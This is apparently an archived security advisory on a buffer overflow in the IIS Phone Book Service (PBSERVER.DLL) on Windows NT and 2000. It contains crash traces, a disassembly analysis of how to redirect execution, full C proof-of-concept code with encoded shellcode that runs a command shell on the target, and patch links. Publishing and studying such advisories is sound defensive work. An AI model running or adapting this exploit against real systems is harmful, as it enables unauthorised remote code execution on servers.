COMMAND
Phonebook
SYSTEMS AFFECTED
WinNT, Win2000
PROBLEM
Following is based on a CORE-20001204 Security Advisory. The
Phone Book Service is an optional component that ships with the
NT 4 Option Pack and Windows 2000. It is not installed by
default.
A buffer overflow vulnerability was discovered in the URL
processing routines of the Phone Book Service requests on IIS 4
and IIS 5. If exploited, this vulnerability allows an attacker
to execute arbitrary code and obtain a remote command shell with
those privileges of the IUSR_machinename account (IIS 4) or the
IWAM_machinename account (IIS 5).
The Phone Book server services requests using the IIS 5.0 with
URIs such as http://hostname/pbserver/
According to Microsoft's documentation a DLL (PBSERVER.DLL) is
exported and the services can be used making requests with the
following format:
http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pbver=&pb=<STRING=db name>
In the DLL checks the total length to ensure that request does
not exceed 1024 bytes, however it is possible to overflow a local
variable of fixed length in the DLL by sending a request with the
following form:
GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars) HTTP/1.0\n\n
The result is an exception reported in the Event log with source
WAM like the following:
The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B
'.
By sending a carefully crafted HTTP request an attacker can bypass
the total length check and overflow a local variable in
PBSERVER.DLL allowing the execution of arbitrary code with the
privileges of the IUSR_machinename account (IIS 4) or the
IWAM_machinename account (IIS 5) on the vulnerable systems.
@stake released also Security Advisory regarding this issue since
they found it too (David Litchfield). The overflow occurs when
the PB parameter of the query string is overly long. By filling
this parameter with uppercase 'A's the inetinfo process crashes.
A quick look at the code at this point shows:
cmp dword ptr[esi+4],ebp
jne 69A2196C
mov eax, dword ptr [esi]
push eax
mov ecx, dword ptr [eax]
call dword ptr[ecx+1Ch]
The ESI register has been filled with the user supplied AAAAs.
By setting ESI to somewhere in memory which can read avoids the
crash, here, however looking on down the code you see that if the
esi is set to an address that contains a pointer to the user
supplied buffer then it will be called eventually - in a round
about way. Dpoing this then, the ESI is set to 0x5E9351E4 - this
address has a pointer back to the user supplied buffer - which
floats around the 0x0027**** area. This 0x0027**** address is
then moved into the EAX register. If the value at address
0x0027**** is set to 0x5e93554c what happens is when what the EAX
points to is moved into the ECX and ECX+1Ch is called it lands a
couple of bytes above the user supplied buffer. There are a
couple of bytes of mess to ride through, a few fields of nulls
and other bits and bobs here and there but the whole code in the
buffer is eventually executed.
As proof of concept the following code will spawn a shell,
perform a directory listing and pipe the output to a file called
psrvorun.txt, created in the winnt\system32 directory. You can
test for the existance of the overrun on NT 4.0 SP 6a using this
program. It has only been tested to work when the target system
is SP 6a. Proof of concept code:
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";
int main(int argc, char *argv[])
{
int chk=0;
if(argc !=3)
{
printf("Usage: c:\\>%s host port\nTests for the
pbserver.dll buffer overrun in IIS\nDavid Litchfield
(dlitchfield@atstake.com)",argv[0]);
return 0;
}
strncpy(hostname,argv[1],250);
chk = startWSOCK(hostname);
if(chk !=0)
{
printf("Winsock error");
return 0;
}
CheckWeb(atoi(argv[2]));
return 0;
}
int startWSOCK(char *swhost)
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 2;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
!= 0 )
{
WSACleanup( );
return 3;
}
if ((he = gethostbyname(swhost)) == NULL)
{
return 4;
}
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
return 0;
}
int CheckWeb(int port)
{
int snd, rcv, err, count =0,incount = 0;
/* the following line may wrap */
char *buffer="GET /pbserver/pbserver.dll?OSArch=0&OSType=2&LCID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE&OSVer=%55%8B%EC%90%90%90%90%90%bb%ff%ff%ff%ff%83%eb%8b%53%68%6e%2e%74%78%68%76%6f%72%75%68%20%70%73%72%68%69%72%20%3e%68%2f%63%20%64%90%90&CMVer=%68%65%78%65%20%68%63%6d%64%2e%B8%86%a9%f1%77%8b%dc%33%f6%56%53%ff%d0%90%90DDDDDDDDDDDDDDDDDDD&PBVer=&0PB=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%4c%55%93%5e%cc%ccAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%e4%51%93%5ennnn HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n";
sa.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
if (sock==INVALID_SOCKET)
{
closesocket(sock);
return 0;
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
closesocket(sock);
printf("Failed to connect\n");
return 0;
}
else
{
snd = send(sock,buffer,strlen(buffer),0);
printf("Buffer sent.\n");
}
closesocket(sock);
return 0;
}
SOLUTION
Patches:
WinNT: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26193
Win2000: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531
The NT 4.0 fix can be applied to systems running NT 4.0 Service
Pack 6a. This fix will be included in NT 4.0 Service Pack 7. The
Windows 2000 fix can be applied to Windows 2000 Gold or Service
Pack 1. This fix will be included in Windows 2000 Service Pack 2.